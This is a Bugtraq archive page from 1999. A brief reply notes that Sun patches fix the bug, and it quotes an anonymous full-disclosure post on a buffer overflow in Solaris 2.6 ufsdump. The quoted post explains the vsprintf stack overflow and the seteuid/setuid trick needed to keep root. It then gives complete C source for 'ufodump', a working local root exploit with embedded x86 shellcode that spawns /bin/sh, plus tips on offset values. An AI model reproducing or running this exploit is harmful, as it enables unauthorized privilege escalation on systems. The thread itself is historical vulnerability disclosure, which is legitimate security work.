Bugtraq mailing list archives

Re: Revisiting ufsdump under Solaris 2.6


From: scott () bernadette net (Scott)
Date: Sat, 2 Jan 1999 22:45:01 -0600


This vulnerability was patched over a month ago.

Patch 106793-01 SPARC
Patch 106794-01 x86

Both were available in early November.

Scott Stubbs
scott () bernadette net


[]Date: Wed, 30 Dec 1998 23:43:35 +0100
[]Comments: This message did not originate from the Sender address above. It was
remailed automatically by anonymizing remailer software. Please report problems
or inappropriate use to the remailer administrator at <abuse () replay com>.
[]From: Anonymous <nobody () REPLAY COM>
[]Subject: Revisiting ufsdump under Solaris 2.6
[]X-To: smm () wpi edu
[]To: BUGTRAQ () netspace org
[]
[]A while back, in April and June of 1998, there was some chatter on Bugtraq
[]about the ufsdump and ufsrestore programs in Solaris 2.6.  The first
[]posting came from Seth McGann who had managed to create a preliminary
[]exploit for ufsdump on the i386 platform.  Seth's original post can be
[]found at:
[]
[]    http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130
[]
[]Seth experienced some difficulties with his exploit and I thought I might
[]clarify some of his questions.  To start with, yes, the i386 binary of
[]ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
[]a little bit more kung fu to get us a root shell.
[]
[]Just like rdist, ufsdump runs most of the time with an EUID and UID of
[]you, but retains a saved UID of root (thanks to its original SUID root
[]nature) which it uses to toggle its EUID between you and root as needed,
[]but only briefly and for small sections of code at a time.  What does this
[]mean to you, the enterprising young exploit writer?  You must use this
[]same mechanism to make sure your shell (or whatever else you plan to do)
[]gets exec'd as root.  But there is one other step you must worry about.
[]The Bourne shell under Solaris performs checks of its EUID when it runs.
[]If the EUID of the shell is less than 100 and does not match the real UID,
[]the shell drops its privileges by reverting its EUID back to its real UID.
[]Do you see where this is leading?  In your shell code you must do a
[]seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
[]when the overflow happened, as is the case with this particular ufsdump
[]hole), followed by a setuid(0) to fully become root, followed by your
[]execve() to get your shell.  A fully functional exploit is included at the
[]end of this message.  This very same shell code can be used in a rdist
[]exploit for Solaris 2.6 (i386), but I'll not post that today.
[]
[]Why don't I take this opportunity to put in a few jabs at Sun.  What are
[]the engineers at Sun thinking?  The buffer overflow exploit is not at all
[]a new or exotic technique, and their sorry coding practices make this type
[]of exploit surprisingly easy.  What is the problem in ufsdump?  In the
[]function msg(), vsprintf() is used to build an informational message to
[]display back to the user, but the buffer used to hold the message (1024
[]bytes in size) resides on the stack, and that is the key to the exploit.
[]Among the many calls to msg() in ufsdump, some calls used for creating
[]error messages include the erroneous input in the text of the message, and
[]this exploit tweaks one of those calls that uses a vsprintf format string
[]of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
[]get to provide the dump device name.  That is not the only possible avenue
[]of attack, either.  If ufsdump is invoked with an argv[0] of "hsmdump"
[]there are what appear to be even easier overflows of the U and O command
[]line options.
[]
[]Knock, knock, anybody home?  Just imagine all the problems Sun would solve
[]if they replaced each of these vsprintf() and sprintf() calls in the
[]Solaris source tree with a simple vsnprintf() or snprintf() call.  Is that
[]too much to ask from such a large and powerful organization like Sun with
[]deep pockets and lots of engineers?
[]
[]Okay, I'll shut up now.  Here's the exploit code.  An offset argument of
[]around -500 seems to work good for me.  The ufsdump error message will
[]spill garbage all over your TTY, but just tap your enter key a couple of
[]times and enjoy your root shell, then be sure to send Sun your thanks.
[]
[]                                Your brother in arms,
[]
[]                                Cheez Whiz
[]                                cheezbeast () hotmail com
[]
[]ufodump.c
[]
[]----- cut here ----- cut here ----- cut here ----- cut here -----
[]
[]/**
[]***  ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
[]***
[]***  Tested and confirmed under Solaris 2.6 i386
[]***
[]***  Usage:  % ufodump [offset]
[]***
[]***  where offset (if present) is the number of bytes to add to the stack
[]***  pointer to calculate your target return address; try -1000 to 1000 in
[]***  increments of 100 for starters.  Thanks go to Seth McGann for the
[]***  original bug report and a preliminary exploit.
[]***
[]***  Cheez Whiz
[]***  cheezbeast () hotmail com
[]***
[]***  December 30, 1998
[]**/
[]
[]#include <stdio.h>
[]#include <stdlib.h>
[]#include <string.h>
[]#include <unistd.h>
[]
[]#define BUFLEN 1100
[]#define NOP 0x90
[]
[]char shell[] =
[]/*  0 */ "\xeb\x48"                         /* jmp springboard       */
[]/* syscall:                                                          */
[]/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
[]/*  9 */ "\xc3"                             /* ret                   */
[]/* start:                                                            */
[]/* 10 */ "\x5e"                             /* popl %esi             */
[]/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
[]/* 13 */ "\x89\x46\xb4"                     /* movl %eax,-0x4c(%esi) */
[]/* 16 */ "\x88\x46\xb9"                     /* movb %al,-0x47(%esi)  */
[]/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
[]/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
[]/* seteuid:                                                          */
[]/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
[]/* 27 */ "\x50"                             /* pushl %eax            */
[]/* 28 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
[]/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
[]/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
[]/* setuid:                                                           */
[]/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
[]/* 40 */ "\x50"                             /* pushl %eax            */
[]/* 41 */ "\xb0\x17"                         /* movb $0x17,%al        */
[]/* 43 */ "\xe8\xd2\xff\xff\xff"             /* call syscall          */
[]/* 48 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
[]/* execve:                                                           */
[]/* 51 */ "\x31\xc0"                         /* xor %eax,%eax         */
[]/* 53 */ "\x50"                             /* pushl %eax            */
[]/* 54 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
[]/* 57 */ "\x53"                             /* pushl %ebx            */
[]/* 58 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
[]/* 60 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
[]/* 63 */ "\x53"                             /* pushl %ebx            */
[]/* 64 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
[]/* 66 */ "\xe8\xbb\xff\xff\xff"             /* call syscall          */
[]/* 71 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
[]/* springboard:                                                      */
[]/* 74 */ "\xe8\xbb\xff\xff\xff"             /* call start            */
[]/* data:                                                             */
[]/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
[]/* 87 */ "\xff\xff\xff\xff"                 /* DATA                  */
[]/* 91 */ "\xff\xff\xff\xff";                /* DATA                  */
[]
[]char buf[BUFLEN];
[]unsigned long int nop, esp;
[]long int offset = 0;
[]
[]unsigned long int
[]get_esp()
[]{
[]    __asm__("movl %esp,%eax");
[]}
[]
[]void
[]main (int argc, char *argv[])
[]{
[]    int i;
[]
[]    if (argc > 1)
[]        offset = strtol(argv[1], NULL, 0);
[]
[]    if (argc > 2)
[]        nop = strtoul(argv[2], NULL, 0);
[]    else
[]        nop = 800;
[]
[]    esp = get_esp();
[]
[]    memset(buf, NOP, BUFLEN);
[]    memcpy(buf+nop, shell, strlen(shell));
[]    for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
[]        *((int *) &buf[i]) = esp+offset;
[]
[]    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
[]           esp+offset, esp, offset, nop);
[]    execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
[]
[]    printf("exec failed!\n");
[]    return;
[]}



Current thread: